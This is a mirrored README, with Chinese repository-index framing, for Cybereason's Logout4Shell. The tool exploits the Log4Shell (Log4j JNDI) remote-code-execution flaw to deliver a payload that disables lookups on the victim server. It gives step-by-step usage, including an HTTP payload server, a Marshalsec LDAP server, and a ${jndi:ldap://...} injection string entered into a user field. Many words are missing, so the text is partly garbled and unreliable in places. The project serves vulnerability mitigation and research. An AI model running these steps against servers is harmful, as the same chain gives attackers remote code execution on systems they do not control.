Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim

项目说明

Logout4Shell

!logo

Description

A impacting Apache Log4j 2.0 through 2.14.1 was disclosed on the project’s Github on December 9, 2021.
The flaw has been dubbed “Log4Shell,”, and has the highest possible se rating of 10. Software made or
managed by the Apache Software Foundation (From here on just "Apache") is per and comprises nearly a third of all
web servers in the world—making this a potentially catastrophic flaw.
The Log4Shell C was published on 12/9/2021 and allows remote code execution on servers.

While the best mitigation against these is to patch log4j to
~~2.15.0~~2.17.0 and above, in Log4j (>=2.10) this behavior can be partially mitigated (see below) by
setting system property log4j2.formatMsgNoLookups to true or by removing
the JndiLookup class from the classpath.

On 12/14/2021 the Apache software foundation disclosed C which was patched in log4j 2.16.0. This
showed that in certain scenarios, for example, where attackers can control a thread-context that
gets logged, even the flag log4j2.formatMsgNoLookups is insufficient to mitigate log4shell. An
additional CVE, less severe, C was discovered. This exposes the server to
an infinite recursion that could crash the server is some scenarios. It is recommened to upgrade to
2.17.0

However, enabling these system property requires access to the servers as well as a restart.
The Cybereason research team has de the
following code that _exploits_ the same and the payload therein
sets the setting as disabled. The payload then searches
for all LoggerContext and removes the JNDI Interpolator pre e abuses.
this effectively blocks any further attempt to exploit Log4Shell on this server.

This Proof of Concept is based on 's tangxiaofeng7/apache-log4j-poc

However, this project attempts to fix the by using the bug against itself.
You can learn more about Cybereason's "" approach to the Apache Log4Shell (C) on our website.

Learn more: Cybereason Releases to Prevent Exploitation of Apache Log4Shell (C)

Supported

Logout4Shell supports log4j 2.0 - 2.14.1

How it works

On (>= 2.10.0) of log4j that support the configuration FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS, this value is
set to True disabling the lookup mechanism entirely. As disclosed in C, setting this flag is insufficient,
therefore the payload searches all existing LoggerContexts and removes the JNDI key from the Interpolator used to
process ${} fields. This means that e recursive uses of the JNDI mechanisms will fail.
Then, the log4j jarfile will be remade and patched. The patch is included in this
git repository, however it is not needed in the final build because the real patch
is included in the payload as Base64.

In persistence mode (see below), the payload additionally attempts to locate the log4j-core.jar,
remove the JndILookup class, and modify the PluginCache to completely remove the JNDI plugin. Upon subsequent JVM
restarts the JndiLookup class cannot be found and log4j will not support for JNDI

Transient mode

This package generates two flavors of the payload - Transient and Persistent.
In Transient mode, the payload modifies
the current running JVM. The payload is very delicate to just touch the logger context and configuration. We thus
believe the risk of using the Transient mode are very low on production en.

Persistent mode performs all the changes of the Transient mode and *in addition* searches for the jar from which log4j
loads the JndiLookup class. It then attempts to modify this jar by removing the JndiLookup class as well as
modifying the plugin registry. There is inherently more risk in this approach as if the log4j-core.jar becomes
corrupted, the JVM may crash on start.

The choice of which mode to use is selected by the URL given in step 2.3 below. The
class Log4jRCETransient selects the Transient Mode and the class Log4jRCEPersistent selects the persistent mode

Persistent mode is based on the work of TudbuT. Thank you!

How to use

1. Download this repository and build it

1.1 git clone

1.2 build it - m

1.3 cd target/classes

1.4 run the webserver - python3 -m http.server 8888

2. Download, build and run Marshalsec's ldap server

2.1 git clone

2.2 m -DskipTests

2.3 cd target

2.4 <a name="execution"></a>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "

4. To immunize a server

3.1 enter ${jndi:ldap://<IP_OF_LDAP_SER>:1389/a} into a field (such as user name)

DISCLAIMER:

The code described in this ad (the “Code”) is provided on an “as is” and
“as a” basis may contain bugs, errors and other defects. You are
advised to safeguard important data and to use caution. By using this Code, you
agree that Cybereason shall have no liability to you for any claims in
connection with the Code. Cybereason disclaims any liability for any direct,
indirect, incidental, puniti, special or consequential damages,
even if Cybereason or its related parties are advised of the possibility of
such damages. Cybereason undertakes no duty to update the Code or this
ad.

License

The source code for the site is licensed under the MIT license, which you can find in the LICENSE file.

项目信息

开发语言：Java

Star 数：1692

技术要点

该项目属于漏洞知识库方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。